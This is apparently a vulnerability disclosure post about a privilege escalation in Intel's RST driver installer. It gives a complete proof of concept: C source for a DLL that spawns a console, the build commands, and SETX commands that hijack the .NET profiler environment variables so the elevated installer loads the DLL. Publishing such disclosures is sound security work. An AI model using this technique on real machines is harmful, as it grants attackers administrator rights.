Intel RST User Interface / Driver Privilege Escalation

`Hi @ll,  
  
more than 2 years ago I disclosed 2 vulnerabilities leading to  
local escalation of privilege in the  
Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver:  
see <https://seclists.org/fulldisclosure/2018/Nov/45>  
and <https://seclists.org/fulldisclosure/2018/Nov/52>  
  
Intel fixed this vulnerability only in their executable installer.  
  
Some time later Intel rewrote or rebuilt this installer (see  
<https://downloadcenter.intel.com/download/29978/Intel-Rapid-Storage-Technology-Driver-Installation-Software-with-Intel-Optane-Memor  
y>  
for its current version 18.0.1.1138, published 10/15/2020)  
and incorporated the second vulnerability.  
  
CVSS 3.0 score: 8.2 High  
CVSS 3.0 vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H  
  
Demonstration:  
~~~~~~~~~~~~~~  
  
0. Save the following source as sentinel.c in an arbitrary directory:  
  
--- sentinel.c ---  
// Copyright (C) 2004-2021, Stefan Kanthak <[email protected]>  
  
#define STRICT  
#define UNICODE  
#define WIN32_LEAN_AND_MEAN  
  
#include <windows.h>  
  
const STARTUPINFO si = {sizeof(si)};  
  
__declspec(safebuffers)  
BOOL WINAPI _DllMainCRTStartup(HANDLE hModule,  
DWORD dwReason,  
CONTEXT *lpContext)  
{  
WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";  
  
PROCESS_INFORMATION pi;  
  
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,  
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT,  
NULL, NULL, &si, &pi))  
{  
CloseHandle(pi.hThread);  
CloseHandle(pi.hProcess);  
}  
  
return TRUE;  
}  
--- EOF ---  
  
1. Start the command prompt of the 32-bit Windows Software Development Kit,  
then run the following command lines to compile sentinel.c and link it  
as sentinel.dll:  
  
cl.exe /Zl /W4 /O2 /GAFy /c sentinel.c  
link.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:Windows sentinel.obj  
kernel32.lib  
  
ALTERNATIVE for steps 0 and 1:  
  
1. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>  
and save it in an arbitrary directory.  
  
2. Logon with the user account created during Windows setup.  
  
3. Start a command prompt (unelevated!) and run the following command lines  
(replace <directory> with the pathname of the directory where you built  
or saved sentinel.dll):  
  
SETX.exe COR_ENABLE_PROFILING 1  
SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}  
SETX.exe COR_PROFILER_PATH <directory>\sentinel.dll  
  
JFTR: this is just one method to set these environment variables without  
the need to elevate!  
  
4. Download <https://downloadmirror.intel.com/29978/eng/SetupRST.exe> and  
save it in an arbitrary directory.  
  
5. Execute SetupRST.exe per double-click, acknowledge the UAC prompt, then  
admire the console windows showing the output of WHOAMI.exe running  
elevated.  
  
stay tuned, and FAR AWAY from vulnerable crap built by Intel  
Stefan Kanthak  
  
  
  
`